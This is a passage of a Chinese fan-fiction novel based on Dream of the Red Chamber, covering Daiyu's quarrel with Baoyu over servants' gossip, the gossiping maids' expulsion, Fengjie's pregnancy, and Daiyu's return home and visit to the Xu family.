“奶奶不知道，这会儿是好着。拌了嘴之后，林姑娘说没有桂花酒，但还有梅花酒可以给二爷留着，二爷一听，又没事人一样拿着兔子灯献宝。黛玉也喜欢，两人还点了灯欣赏了一会儿。”
“后来林姑娘的丫鬟来请示要收拾什么东西带回家，事情就糟了。”
“回家，这里不就是妹妹的家吗？”宝玉尚不知道黛玉要回林府的事，他一直认为黛玉住在家里，就是贾家的人，不会离开，骤然听到这个消息，第一反应是不理解。
黛玉不知他的想法，高兴道：“当然是回我自己的家了。”她灯也不看了，还给宝玉，指挥着下人把自己惯用的东西都带上，连房里的花盆都要带走。
这些听在宝玉耳朵里，就是她要搬空听松园，一点儿东西都不留了。宝玉一下子就呆住了，整个人恍惚着，抱着兔子灯一言不发就往外走。
“二爷平常也这样，我没料到他是犯了呆病。”袭人抹着眼泪道：“二爷直愣愣往外走，我叫他也不应，路过廊下，忽然听到有人说林姑娘的事。二爷当时站住了，就听她们在背后嚼舌，说没想到林姑娘这么快就要回家了，又说林姑娘本来是、是......”
袭人吞吞吐吐。
“是什么？你只管说！”凤姐喝道。
袭人含混道：“其中一个人说林姑娘是没了母亲才来府里的，但林老爷还在，她早晚都要回去。兴许这次回去，就不回来了。”
听着是正常话，但能让袭人犹犹豫豫，原话肯定不是这样，指不定要难听几倍。
“不止这些吧？还有呢？”凤姐逼问。
“她们说要林家没人，也不知道林姑娘回去干什么，忙活一通，搬来搬去费事，哪有府里住得舒服。还说要是林老爷哪天也没了，林姑娘无处可去，那就要在府里呆一辈子不走了，不知还会不会跟现在这样。”
“奶奶知道我们二爷是个呆的，不晓得好赖话，只能听个表面意思。他又不想让林姑娘离开，听到这么说，转身就去拦着下人不让给林姑娘收拾东西，不让她回去。”
“林姑娘还当二爷是玩笑，推着让他别杵着碍手碍脚。二爷着急上火，一下子把听到的话都说出来了，林姑娘当场就气哭了。”
凤姐：“......”好么！别说哭了，这要换成她，别管最开始是谁说的，反正是从宝玉嘴里听到的，不打他都算是好的。
还真被她猜着了，宝玉确实挨打了。
袭人继续道：“林姑娘指着门就让二爷走，二爷不肯，她就自己走，说要回了老太太，立刻就家去。她如果再在府里呆下去，就是咒林老爷早死。”
“二爷自知失言，想解释，林姑娘哪里愿意听。二爷又要去拉林姑娘，林姑娘的丫鬟护主，见二爷伸手，冲上来就把二爷撞倒了。”
当时十分混乱，林姑娘哭着要往老太太那里去，二爷去拦她，她怕二爷再胡说什么，让林姑娘更生气，又去拉二爷。谁也没料到青雀冲出来，犟着脑袋一头槌槌在二爷胸口，二爷直接就躺地上闭了眼睛，起都起不来。
其他人吓坏了，立刻要去报老太太，袭人把人拦下，探了探鼻息，决定先来找了凤姐，因贾琏在，不方便说话，她只能先让下人通禀一声。
“话都说不清楚！”凤姐横了传话的下人一眼，她还真以为是吵架。凤姐加快脚步，催促袭人：“别磨蹭了！宝玉受了伤没有？”
“我来找奶奶，也不知道后来情况如何。”袭人追着她的步伐道。
凤姐快步赶到听松园，里面十分安静，她心里咯噔一下，对袭人道：“嚼舌根的是谁，你认不认得？”
袭人点头。
“平儿，叫两个力气大的婆子来，让袭人去认人，认出来就把人捆了压着，等我出来了处置。”
袭人想先去看宝玉，平儿拽着她的胳膊把人拉走：“屋里有奶奶在，甭管是劝人还是要给宝玉请大夫，自有奶奶拿主意，你也帮不上忙，先跟我把事办了。”
袭人只得随她。
凤姐进屋就看到泾渭分明两拨人，黛玉坐在桌边擦眼泪，她带来的丫鬟婆子们都围在她身边，那个撞了宝玉的小丫头挡在黛玉身前，脸上还怒气冲冲的。
宝玉躺在贵妃椅上，另有人守着。听到脚步声，宝玉撑着身子起来，往门口看。
凤姐看他面色红润，略微放心，给他使了个眼色，让他
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躺回去，再去看黛玉等人。
“二奶奶来了。”何嬷嬷拍着黛玉的背，不咸不淡地打招呼。其他两人头都不抬，一个喂水，一个点东西，理都没理她。
刚收了人家的礼，就碰上这么一出，凤姐气短，八面玲珑的功夫也使不出来，干笑着道：“妹妹还好么？”
青雀重重喷了一口气，黛玉把她拨开，勉强笑道：“我还好。青雀不懂事，二嫂子别怪她。”
凤姐这会儿哄她都来不及，哪里会怪青雀。
何嬷嬷道：“青雀冲撞了宝二爷......”
凤姐打断她：“我都听袭人说了，宝玉口无遮拦，挨这一下是他该！青雀能有多大力气，还是宝玉身子太弱，他以前就常有头疼脑热，猛地被撞一下，经不住摔倒了，不是大事。”
她是这么说的，也是这么想的。什么闭过眼起不来身，大约是众人慌乱之下下意识把情形夸大，真这么严重，宝玉还能探头看她？
何嬷嬷微笑。青雀有多大劲她们都清楚，她一怒之下用了十成劲，宝玉当场就闭过气了，肋骨都断了。为了给他治伤，还费了她们一颗好药。
要不是不想让姑娘有理变无理，她们还真想让他就这么躺着。
凤姐定了宝玉的错，又给他开脱，“宝玉有错，该让她给妹妹道歉。不过他是有口无心，我听袭人说，他说的许多话，都是从别人嘴里听来的。宝玉，是不是这样？”
宝玉一下子坐起来，下了贵妃椅走到黛玉身边，青雀伸着胳膊使劲推开他，张开双臂道：“你不准过来！”
宝玉近不了身，抱着手给黛玉连连作揖，“是我不好，胡说八道，妹妹气我打我都是应该的，只求妹妹别气坏了身体。”
他光顾着道歉，一点儿也不接凤姐递的台阶。凤姐无奈，直接明示：“宝玉，你是听谁胡沁，才惹恼了林妹妹？”
宝玉道：“没有听谁说，是我胡思乱想，妹妹只怪罪我就是。”
凤姐：“......”什么屁话！
不止凤姐无言，黛玉也忘记了哭，诧异地看向宝玉。她早就想到那些话不是宝玉自己的心思，宝玉这个人说好听点是赤子之心，难听点就是有些呆傻气。他只能看到眼前，别的都不挂在心上。他自己是想不到也想不起那些的，什么死了没了的话，肯定是从别人嘴里听到的。
她虽然气他，却也没有完全怪他。
但现在她不理解了 ，二嫂子想着法帮他开脱了，他不借坡下驴，为何还要隐瞒，揽下责任？
“奶奶，人找到了，正压在外边。”平儿进来，贴着凤姐耳边道。
凤姐也懒得给宝玉再递话头，直接道：“把人带进来！”
平儿招招手，几个婆子压着两个惊慌失措的丫鬟进屋。
凤姐侧头，目光在两人脸上溜了一圈，忽的冷笑一声，她算是明白宝玉为什么咬住是自己的错了，原来是看她们长得好，怜香惜玉的毛病犯了。
“就是她们两个？”凤姐问袭人。
“是。”
“二奶奶，不知我们犯了什么错？让您直接来这里拿我们。”其中一个丫鬟很快镇定下来，张口问道。
“好一张巧嘴！”凤姐笑道：“我既然拿你们，自然有道理，你也不用挑拨。”
凤姐征求黛玉的意见，“妹妹想怎么处置她们？”
“我是客人，本不是她们正经的主子，二嫂子看着办吧，我去见老太太。”黛玉道。
61.第 61 章
这意思还是要去找老太太告状。
凤姐赶了两步，想要拦她，芙蓉脚步一转，插在两人中间，“二奶奶注意身体，别磕着碰着了，不然又是我们姑娘的罪过。”
又转身拉住喊着“林姑娘”的袭人道：“这事说破天去，怎么也怪不到宝二爷身上，你拦什么，又不是你的错处。说来青雀莽撞，方才还要多谢你拿了主意，否则二爷那个样子，她少不了也要挨罚。”
袭人不知宝玉之前的凶险，芙蓉不让她追，她急得不行，道：“我请二奶奶来劝，二爷和林姑娘私下里说开了就好，何必在闹到老太太跟前？让老太太不安生！”
凤姐眼一撇，见宝玉还是不知事的模样，陡然歇了要把事情捂住的心思。
眼看着黛玉跨出门，路过两个白着脸的丫鬟身边，跟着她的小丫头忽然站住，盯着其中一个丫鬟道：“我记得你，那回在廊下，也是你酸言酸语说别人谄媚。”
那丫鬟蓦然睁大眼睛，整个人哆嗦了一下。
“你等着。”青雀丢下一句，追着黛玉去了。
凤姐看着神情恍惚的丫鬟，得了，这还是个惯犯。
她慢条斯理转头搭着平儿的手小声道：“这白来的礼果真收不得，眨眼就得把情还回去，也不知道二爷歇好了没有。”
平儿惊讶道：“林姑娘今日就要走？老太太还留不住？”
凤姐努了下嘴，示意平儿去看白鹤：“瞧那个眼皮不抬，还在收东西，不是今日也是明日。林妹妹长了腿，真心要走，传个信，林家的车拉到门前，还能不让走？”
平儿笑道：“哪有奶奶说的这么严重？真要这样，不就是一点脸面也不给了？”
凤姐哼笑，当然不会撕破脸，到不了那步田地。林妹妹看着是不肯忍下这口气的，受委屈的是她，她又是个孩子，仗着脾气闹一闹也没人能说她不对，老太太定然不愿意见林家的马车摆到门前，多半会依她。
宝玉把责任揽到自己身上，想来打的也是同样的主意。他年纪小，老太太疼他，满府上下都要让着他，从来没有人跟他顶着干的。他兴许以为自己道过歉，就能把事抹平，既不伤着林妹妹，两个丫鬟也万事大吉。
他或许想不到这么深，就是凭着往日行事章程和稀泥，想你好我好大家好，谁知林妹妹眼里揉不得沙子。
他要是不这么拧着来，让她干脆罚了丫鬟，没准事情差不多就过去了。
“宝玉糊涂。”凤姐道。
“奶奶说什么？”平儿问。
“我说，咱们也别杵在这儿了，带着这两个去老太太那儿，全凭老太太发落。”
“我也去。”宝玉急忙道。
凤姐点着下巴，笑道：“宝兄弟要去也成，只是呆会儿别说话，免得再拱火。”
-*
贾母处，黛玉还算平静。她一句也没提宝玉，只说自己要回家，不能在这里住了，任贾母怎么问，都不说原因。
凤姐赶过来时，贾母正着急上火，一见她就问：“我听说你被请到林丫头那儿去了，是不是有人给她气受了？！”
“老祖宗，我正是为这个来的。都是奴才生事，人我都捉来了。”她往后一指：“就是她们两个。”
赖嬷嬷陪着贾母抹骨牌，这会儿还没走，瞥了一眼，道：“她们是做了什么，惹得林姑娘生这么大气？”
宝玉要开口，袭人捂住他，低声央求道：“我的好二爷，你就别添乱了！”
那边丫鬟见到赖嬷嬷，眼睛一亮，随即狡辩自己不知情，一直尽心尽力伺候黛玉，也不知哪里做的不好，糊里糊涂被二奶奶压过来。
“姑娘？”何嬷嬷低声询问。黛玉垂下眼睛，微微点头。
何嬷嬷便附在贾母耳边小声说话。凤姐依稀听到“死了妈”、“没了弟弟”、“命硬”、“都短命”之类的话。
何嬷嬷还没说完，贾母已是怒不可遏，一拍桌子，骂道：“混账东西！往日惯得你们！目无尊卑，编排起主子来什么话都敢说！今日嘴里敢咒林丫头，明天嚼起闲话，是不是连我也要咒！心黑流脓的歹命种子，满嘴臭不可闻！”
其他人忙劝道：“老太太息怒，犯不上为她们气坏了身子。”
贾母挥开众人，“她能知道林丫头家的事，想必也是有人告诉她的。这样的下人还留在府里干什么！凤丫头！”
“她老子娘是哪个？能教出这样的女儿，也不是个好的！让她来，把自己女儿领走，一起都打发出去！”
两个丫鬟腿一软，扑通一声跪下，拼命磕头求饶，一人爬到黛玉跟前?求：“林姑娘，我什么都没说，都是她说的，您饶了我这一遭吧。”
黛玉垂泪：“你是没说，可她说的时候，你怎么不让她闭上嘴，偏要在那里听？便是走开，不搭理她，她也一个字说不下去了。怎么就她非要说，你非要听。她也不是第一次说，倘或你从前听了，来报一声，我也承你的情。”
那丫鬟委顿在地，哭着说不出话来。
另一个则哭天抹泪要去抓赖嬷嬷的衣服，赖嬷嬷连忙把人踢开，不敢沾染。她奉承道：“老太太仁慈，我活了这么大岁数，府里从没见过打骂下人的，满京城再没有比咱们这儿对奴才更好了。还是她们没见过那些动辄吆三喝四，挥鞭子动板子的主子，享着福还不知足，难免心大了。要我说老太太罚得好，该再罚重一些，杀一杀歪风。”
贾母喘着气，“凤丫头，堵住她们的嘴，直接带出去。也别让她们老娘来了，我听不得她们再哭一遭。”
凤姐抚着她的胸口，摆手让人把两个丫鬟拖出去，“老太太，我也过去看着点？”
贾母点头，“去吧，别让她们闹起来。”
“知道了。”
赖嬷嬷见状，趁机告辞。
凤姐给袭人使了个眼色，一起把不知所措的宝玉拉走。
“外祖母？”人都走了，独留黛玉。
贾母抬手把她抱在怀里，摸着她的脸道：“外祖母年纪大了，有看顾不到的地方，让玉儿受委屈了。”
黛玉靠在她怀里，摇头道：“人人都长着一张嘴，要说什么，外祖母也管不着。”
贾母拍拍她，半晌说道：“宝玉他是个心诚的人，有时候不会说话，你不要怪他。”
虽然黛玉和凤姐谁都没捎带上宝玉，但贾母哪能不知道里头有他的事。光是丫鬟胡说，别说还要饶上凤丫头，玉儿身边的丫鬟嬷嬷就能把人收拾了。
“我没怪他。”黛玉道：“二哥哥对我和姐妹们都好，我知道。”
贾母叹息，都好就是说没什么特别。这么一闹，什么好都消磨光了，往后不知道还要多少情谊才能盖过去。
贾母道：“多留两天吧，要带许多东西，一两天也收拾不完。”
黛玉见贾母保养得宜的脸上老态尽显，不由心软
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，应了一声。
-*
“老太太，二奶奶来了。”鸳鸯轻声禀报。
贾母睁开眼，问：“都处理完了？”
凤姐不敢说笑，肃声道：“是，按老太太吩咐，都放出去了。”
贾母点头：“有个丫鬟，是不是跟赖嬷嬷有关系？”
那老货，先是说玉儿气性大，等她给玉儿撑腰，要赶人时，又急急忙忙撇开关系。
凤姐道：“老太太明察秋毫，那丫头的娘是赖嬷嬷的姨侄女。”
“另一个呢？”但凡是好去处，能进去的丫鬟都该有些手段，不是有人，就是有别的倚仗。
她虽然不怎么管府里的事了，但好歹掌家几十年，还没到老糊涂的时候，年轻时也见多了。下人也是有上进心的，府里差使有好有差，有上进心的人都想占好位置，自然会互相竞争。
对此主子乐见其成，因为这样奴才才会更好地为主子办事。
“另一个是绣房管针线的黄婆子的孙女。”
凤姐回完话，半天没听到贾母的声音，悄悄抬眼，就见她面无表情，不知在想什么。
原来老太太不笑时，这般威严，凤姐心想。
没一会儿，胡思乱想的凤姐被贾母打发，一头雾水地离开。
过了一天，王夫人不知从谁那里听说撵了两家人的事，召凤姐过去问话，听完缘由后，感叹了一句黛玉性子尖锐不饶人。
凤姐听得直撇嘴。
-*
黛玉还是在贾府过了中秋。听松园一切如常，少了两个丫鬟的事没有引起任何波澜，起码表面上黛玉眼前是风平浪静的。
按照原先的安排，十八那日是黛玉回林家的日子。一早，丫鬟婆子搬着箱笼，凤姐一路把黛玉送到后门外，恨不得扶她上马车。
“二嫂子，你回去吧，再送都快送我到家了。”
凤姐握着她的手：“我要不是府里杂事脱不开身，还真想跟着你一起去。”
黛玉面带笑意听着，并不放在心上。
凤姐殷殷叮嘱，“我都跟二爷说好了，路上你想休息，饿了、渴了，只管开口，让二爷去办。”
黛玉掩面笑道：“二嫂子说的我像是出远门，一去不回一样。”
凤姐心道，听松园都空了大半，门也锁了，还真不知道你几时能回来，少说是要住个把月。
她面上不露声色，“再近也有快一个时辰的路，我是怕你中途有什么需要，面皮薄不好意思跟二爷开口，光想着快到家了，还是忍一忍，一忍就忍过去了。”
“怎么会？”黛玉狡黠一笑：“别人不知道，二嫂子应该清楚，我不是个能忍的人。”
凤姐一愣，继而大笑起来：“是我忘了，妹妹也是要强的人。”
两人说着话，前面贾琏使人来催，该启程了，凤姐把黛玉送上马车，“路上小心。”
黛玉点头，放下帘子。马车动起来，凤姐站在原地目送他们，帘子忽又掀起来，凤姐忙问：“妹妹是有什么忘了？”
芙蓉探出头来道：“是我。我忘了跟二奶奶说，二奶奶忙着府里的事，也要爱惜自己的身体，回头该请个大夫瞧一瞧才是。”
凤姐不明所以，没等她问，芙蓉已经放下帘子，马车轱辘辘走远。
“这是什么意思？”凤姐疑惑。
平儿道：“奶奶最近胃口不好，要不请个大夫？”
62.第 62 章
凤姐最近不仅胃口不佳，小腹还总有坠胀之感，人也困乏。一大早就爬起来忙活，她这会儿也有些累了。
“大大小小的事都要我拿主意，哪有空看大夫。”凤姐打了个哈欠，眼角冒出点泪花。
她总是精神抖擞，还从来没有这么困倦过。平儿有点恼，“奶奶总说忙，一点子时间都挤不出来？把个脉要多久？一盏茶的时间都不到！中午小歇的时候抽个空不就有了。”
“芙蓉都看出奶奶不好，可见奶奶是真不好了。身体是奶奶自己的，有个头疼脑热也是奶奶自己受。小病不看拖成大病，到时候受罪也是奶奶自个找的！”
她噼里啪啦一通说，凤姐笑道：“哟！人家就提醒了一句，你还急头白脸借着话头来压我了。说，是不是早盘算着要‘教训’我了？你这威风八面的，要不奶奶给你当？”
平儿恨恨道：“我说的正事，奶奶反拿我取笑，白替你操这份心。是我狗拿耗子，尽想些有的没的。
说完，撇了她不管，闷头往前走。
凤姐见她真生气了，忙拉她：“我就是说说，你这脾气越发刁钻起来了。”
平儿甩手。
“行了，我是真没空，你要是乐意惦记这事，等二爷回来，你跟他说一声，请给大夫。只要你请来了，我也不能拒了他不是？”
“明明是为着奶奶自己，反倒还要我求着你似的。”平儿扭头道。
“那你请是不请？”
“请——”平儿拖长了调子回道。
主仆俩争了两句嘴，平儿到底记挂着这事，贾琏回来后就便试探着跟他提了一回。
这也不难，隔了两天，贾琏就带了一位大夫回来。大夫一摸脉，便跟贾琏道喜，说是凤姐有喜了。
贾琏和凤姐先是大喜，便又听大夫说胎儿月份浅，凤姐操劳太过，有点滑胎的迹象，若想坐住胎，需得好好养一养。
凤姐转喜为忧，贾琏忙求大夫开药。凤姐在一旁抱着肚子呆了一会儿，“敢问大夫，这胎要养多久？”
“夫人怀孕尚不足一月，也是夫人身体底子好，才没小产。保险起见，前三个月还是要小心。”
那就是还有两个月，还好。凤姐露出点笑意来。
大夫是个精明人，心地也好，见凤姐表情，便知道她自觉三个月坐稳胎后，怕是又要不爱惜身体了，这胎难。
他话锋一转，又道：“夫人已经隐隐见红，便是过了三个月，也不可掉以轻心。再有，头三个月和后三个月都是危险的时候，千万要小心。”
“是是是，大夫说的是。”贾琏忙不迭附和。
送走了大夫，贾琏出了院子到各处报喜。平儿扶凤姐躺下，见她郁郁不乐，道：“奶奶不是盼着有个孩子，怎么还不开心了？”
凤姐道：“我是开心，但也焦心。前前后后六个月，府里的事一放手，再踏出这个门，外边就变天了。”
“我劝奶奶少操这份心！”平儿把凤姐常喝的提神浓茶都倒了，换了甜嘴的蜜水，道：“天大的事，横竖都有太太和老太太顶着。”
她左右看了看，轻声道：“奶奶别嫌我刁，说句不好听的，这世上没有离了谁日子就不过了。你没嫁给二爷时，府里没你掌着，不照样过来了。”
“要我说，奶奶就是太死心眼，什么都想管，这几年可得着一句好话不曾？白担了个虚名，干的尽是招人恨的事。二太太放了权，就被人喊菩萨了。”
她们年少时也是常来贾家，在这里住过的，当时二太太可不是现在的名声。
凤姐拧了下她的嘴，道：“姑妈你也敢瞎说，忘了前日的事了？你被打出去，我可救不了你。”
“我只跟奶奶说，只要奶奶不卖了我，谁知道。”
有丫鬟进来，两人都住了话头，平儿到一边忙活。
凤姐半躺着，心里想着平儿说的话，想着想着，不知不觉就睡着了。再醒来，太阳都落了。外面有人来回走动，凤姐支起身，“谁在外头？”
贾琏满脸喜色地过来，坐在床边，按住她，“你躺好。是老太太听说你有了，命人赐的东西。”
“那我得去谢老太太。”
“奶奶别忙！”平儿扬声道。
“奶奶醒了，你们摆饭吧。”
丫鬟婆子鱼贯而入，在炕上摆了七八个小碟。
“老太太、大太太、二太太都来看过奶奶，见奶奶睡了，没让喊。”平儿最后进来，给凤姐递箸捧汤。
凤姐着实饿了，挑着筷子夹了点鸭肉，道：“老太太有说什么吗？”
“说了。”
“说奶奶看样子是累很了，睡得这么沉。”
贾琏插不上话，陪坐了一会儿，也出去吃饭了。
凤姐见状放下筷子，道：“老太太只说了这个？”
平儿低声道：“就知道奶奶要问！老太太说养胎要紧，别的就放一放，先别管了。”
不等凤姐急，她继续道：“奶奶且把心放到肚子里，我看老太太是要亲自出面。林姑娘一来，连出了两三桩麻烦，老太太指不定恼火着，奶奶正好借这个机会摘出来。”
凤姐抿着汤，出了下神，随后道：“这样也好，我也万事不管了。”
“早该这样。”平儿道。
吃了饭，凤姐歇了会儿，招呼平儿：“扶我起来去供桌那儿上柱香。”她摸着肚子道：“多亏了这尊观音，还有林妹妹的人提醒才保住这个孩子。”
凤姐不是迷信的人，但这回确实有些凶险。要不是芙蓉那一句，她恐怕小产还无知无觉。
黛玉不在跟前，她多供供观音像，求个安心。
“瓜果清水你记得多换。”凤姐叮嘱。
平儿：“我晓得。”
-*
千里之外，茫茫大士和渺渺真人蹲在江边，盯着江面来往的船只。
“大士，咱们都盯了快一个月了，还要盯多久？”渺渺真人啪地一下，打死一只蚊子，挠了挠被咬的包。成天在芦苇丛中盯梢，周围蚊子吸他的血都快吸饱了。
这里抓抓，那里挠挠，半晌没听到茫茫大士说话，渺渺真人抬头看过去，就见茫茫大士举着风月宝鉴，眉头打结。
他咯噔一下，凑过去，“怎么了？又有问题了？”
茫茫大士一骨碌站起来，手指头都要掐出残影了，“不对不对！早了，早了！”
“什么早了？”
“投胎投早了！”
渺渺真人一想，一干人里还没投胎的是谁便明了了：“她现在就去了？”
茫茫大士：“还没。”
渺渺真人松了口气，“那你急什么？”
茫茫大士道：“但那个已经怀了，她本该七月七出生的，若投这一胎，早了两个月，赶不上那个日子，不投，占不住这一次，错过了要
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等到何年何月去？！”
渺渺真人想到如今一团乱麻的命运，抵着束发的木簪直搔头。
茫茫大士烦躁地踱来踱去，忽然喝道：“起来！”
渺渺真人伸手一抹，湿漉漉沾了水的衣服就干了，他拍了拍屁股，问：“又去哪儿？”
茫茫大士把风月宝鉴收起来，道：“不去哪儿，沿街化缘，换了衣服找个人气鼎盛的地方窝着，什么时候一干事了了，什么时候咱们再出现。”
这一摊子变故已经超出他们的能力了，两个人四条腿，管也管不过来，还是先躲着吧。借着人气遮一遮，以后小心点。
他拿定主意，渺渺真人自然跟着他。两个人从芦苇丛中钻出来，挤进码头去化缘。
两人走后不久，江上探出一个胖鱼头，两只鸡蛋大的鱼眼往芦苇丛中看。随后它沉入水中，朝着一个方向游过去。
在它对面，一个身着红衣的女子踩着水迎面慢慢走来。
“鱼将军，你回来啦。”见到胖头鱼，女子欣喜道。
若是黛玉在这里，大概能认出来，被称为“鱼将军”的胖头鱼就是她进京时，因为鬼鬼祟祟跟着船，差点被青雀熬鱼汤的那条鱼。
几个月过去，胖头鱼的鱼身已经不可同日而语。之前它还能被装在桶里提来提去，如今它长到快有一丈长，一口能吞个成年人。
因为体型巨大，它常巡游的江岸渐渐流传起了鱼怪的传说。
听到尊称，胖头鱼吐出一串泡泡，矜持地晃了晃鱼头。它一动起来，搅乱水流，红衣女子还不太控制在水底的行动，被乱流带得转起圈。
胖头鱼赶忙停下，心虚地问：“你没事吧？”
女子尽量控制住身体，“没事。”
胖头鱼倒打一耙，端着架子指点：“都这么久了，你还不能行动自如，要加把劲儿啊。”
“是。”
“咳！”她应得干脆，胖头鱼反而不好意思起来，再开口，又恢复了那副憨厚口吻：“那一僧一道已经跑了，你不用躲着了。”
女子听了，十分高兴，面上泛起笑意，眉尖一点朱砂痣更加嫣红：“多谢鱼将军。”
“不用谢，不用谢！”胖头鱼道：“你可以上岸了，现在要去找亲人吗？”
女子点点头，道：“不过我不记得多少小时候的事了，只记得家里是在江南一带，家旁边有一个庙。”
“天下的庙可太多了。”胖头鱼道。
“是啊。”女子道：“我也没有多少头绪，还是要慢慢打听。”
“那你还是先跟我巡江吧。江上往来的船只多，都是南来北往的人，肯定有从你家乡来的人，你留意留意，兴许就能想起什么线索来。”
“好。”女子温顺地应了。
胖头鱼摆了摆尾巴，“你走起来太慢了，到我背上来，我驮着你巡江。”
女子再次道谢，小心登上鱼背，抓住鱼鳍。
一人一鱼箭一般窜了出去。
偶然有路过的船瞥见影子，江边又流传起新的传说。
-*
不提因凤姐怀孕，贾府又有一番怎样的变故，天机运数如何混乱，只说黛玉这边，回了林家老宅没两日，就有人递拜帖上门。
林管家把几张帖子送到她跟前，黛玉翻开，“新宁伯夫人？杨夫人？这都是谁？”
林管家道：“是咱们家的一些故交。”
63.第 63 章
林家祖上也是有爵位的。世袭降等，再加上皇帝开恩，共袭了四代，到黛玉祖父时，爵位尽了，转而谋求其他发展，从躺在功劳簿上吃饭的勋贵人家转为文官清流。
林如海争气，做的极好，林家是所有勋贵人家中转型极为成功的例子。
也因此，林家的故交包含勋贵和文官两个圈子，新宁伯属于前者，杨夫人的夫家属于后者。
林管家说完这些故旧都是谁，然后道：“大约是姑娘回来时让人看见了，所以才有帖子递过来。”
何嬷嬷见黛玉还在一张张翻帖子，面上有些纠结之色，便道：“姑娘不用理会这些人。真正亲近的人家，不会不知道咱们家只有姑娘在。姑娘又不能待客，也没办法出门赴宴，急巴巴送拜帖，也不知道打的什么主意。”
“这岂不是得罪人？”
不论交情，这些送帖子的人家，也是跟爹爹同朝为官，她这样无视，不是为爹爹树敌吗？
何嬷嬷笑道：“姑娘想得太严重了。严格说起来本就是他们不遵礼数，为难姑娘。若是为着不应拜帖就要记仇，这样的故交也沾惹不得。愿意体谅姑娘的，怎么都会体谅，那些个心眼小的，姑娘再如何周到，他们也有挑刺的地方。”
“姑娘要是实在不放心，就回个帖子，说明缘由，他们也自然没话说了。”
黛玉看向林管家。林管家道：“从前家中人情往来，都是夫人打理。我只记得咱们家还在京中时，同这些人家有往来，那时也甚是亲热。”
“不过这些年老爷外放，人走茶凉，有了许多变化也未可知。”
他顿了一下，又道：“这几个月来，因着修葺宅子，下人们进进出出，也不曾碰到过有人来探听。”
过于安静，可以说是故交们知道林家老宅没有正经主子不方便上门，但也可以说是门庭冷落的一种表现。
黛玉闻言点了点头，吩咐人研磨，给所有人回帖。
本以为拜帖的事就这么过去了，不想隔日林管家又拿了一份帖子过来。
“这次是副都御使许大人家。”林管家道。
黛玉接过帖子一看，便笑道：“许家姐姐下的帖，邀我赏菊。”
这份交情，于情于理，都不好拒绝。
“何嬷嬷？”黛玉向何嬷嬷求助，去还是不去。
“许大人的府邸在哪里？”何嬷嬷先问林管家。
“不远。”林管家道：“过两条街就是。”
“那去得。”何嬷嬷道，“是哪日赴宴？”
黛玉道：“就是明日。”
“这么急？”何嬷嬷稍显疑惑。一般设宴，日子都会订得宽松一些，这是为了方便主人和客人都做好准备。尤其是女眷，参加宴会的衣裳首饰妆容，样样都要仔细，就更费时间。
许夫人不是不懂规矩的人，怎么会让女儿这般随意。
“嬷嬷别想了，明日去了就知道了。”黛玉道：“许姨和许姐姐不会害我的。”
-*
翌日黛玉带着准备好的礼物登门。
到了许家，却见许家正门紧闭，并无车马往来，门房接了帖子，恭敬地将黛玉一行引到侧门外，那里已有婆子等着。
黛玉认得她，在船上时见过，是许夫人的心腹之一。
“闫妈妈一向可好。”黛玉朝她问好。
闫嬷嬷眉开眼笑，道：“劳姑娘惦记，都好。”
答了一声后，她道：“姑娘随我来，小姐已经在里面等着姑娘了。”
说完，她走在黛玉身边，落后半步，为她引路。
许宅是三进的院落，更小巧一些，无需坐车乘轿。过了垂花门，进入内院，一路行来，安静肃穆，宅中无半点丝竹管弦之声，不见宴饮作乐的客人。黛玉心中更疑惑。
待跟着闫嬷嬷转至花厅，一道人影奔出，扑到黛玉跟前，高兴地道：“林妹妹，你可算来了！我可盼你好久了！咱们分别的时候，我让你别忘了找我，结果几个月都不见你的音信，你是不是把我忘了？”
不等黛玉回话，许蓁又跟白鹤、芙蓉还有青雀问好，何嬷嬷也没落下。
问候了一圈，她转回去，捏了捏青雀的脸，道：“好青雀，你是不是胖了？荣国府的伙食这么好？”
青雀眨着眼睛给黛玉使眼色，希望她能把自己解救出来。
黛玉闷笑着拉下许蓁的手，“人家久别重逢，都是问怎么瘦了，许姐姐却偏与别人不同。”
“那都是睁着眼睛说瞎话，瘦就是瘦，胖就是胖，我不会说谎。”许蓁反手握着黛玉的手道：“不过青雀胖了也是好看的，更可爱了。哎呀，可惜她不是我家的人，这张脸不能随时捏一捏。”
青雀：“......”
过了一把手瘾，许蓁又叽叽喳喳问起黛玉过得如何，她话多又密，黛玉偶尔应和一声，她就能自顾自说下去。
一边说，她一边拉着黛玉进了花厅，让人上茶果点心来。
黛玉被她按着坐下，送上准备好的礼物，问出心中疑惑：“今日不是赏菊宴吗？怎么没有客人？”
许蓁笑道：“你不就是客人？今日我只请了你一个。”
见黛玉疑惑更甚，她正经道：“好了，不逗你了，我本心是想请你来府里玩的，但这次确实事出有因，请你是母亲吩咐我的。”
说曹操曹操到，一阵脚步声由远及近，许夫人领着仆妇转进来，黛玉连忙起身拜见，半道便被人托着手扶起：“几个月不见，玉儿跟许姨生疏了。”
许夫人携着她的手，上下打量她，道：“玉儿好似清减了许多。”
许蓁一下子乐出声，黛玉撇头低笑。
许夫人一个眼神横过来，许蓁立刻收声，端庄有礼地道：“母亲。”
许夫人“嗯”了一声，“你别整日跟个猴子似的，也跟你妹妹多学学。你要是有她一半娴静，我就烧高香了。”
许蓁不以为意道：“像妹妹这样温柔有温柔的好，像我这样活泼有活泼的好，所有姑娘都一个模子里刻出来，岂不无趣。”
她转了转眼珠，又道：“母亲要我跟着林妹妹学贞静也可以，可妹妹来一趟，只呆一会儿就走，能学到什么，不如留妹妹住几天？”
“越说越不像话，美得你，多几日我还怕你把玉儿带坏了。”许夫人笑骂一句，指着外面道：“你先下去，我跟玉儿有话说。”
许蓁一福身，歪头朝黛玉眨眨眼，“妹妹记得一会儿还要同我一起赏
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菊啊！”
黛玉点头答应，她才在母亲的瞪视下溜出花厅。
许夫人扶额，“这个性子，也不知像谁，我总疑心她是不是生错了性别。”
黛玉笑道：“许姐姐让我想到了一个人。”
许夫人：“哦，是谁？”
“宝玉。”
“是贾家那个衔玉而生的哥儿？”
“嗯。”
许夫人一笑而过，没有细问哪里像，转而道：“玉儿在贾家过得舒心吗？”
黛玉顿了一下，道：“外祖母对我很好，还有姐妹们一起玩乐，自然舒心。”
单说这两点，意思是有其他的不顺心。许夫人想着最近朝堂上的风起云涌，问：“史太君身体还强健吗？听闻老太君前些日子病了？”
“外祖母是病了一场，不过已经大好了。”黛玉虽不明白她问这个做什么，还是顺着她的话回答。
许夫人看出了她的疑惑，携着她坐下，道：“在船上时，我就知道你年纪虽小，心里却很明白，所以有些事我也不瞒你。”
她停下话头，挥了挥手，道：“你们都去外面候着。”
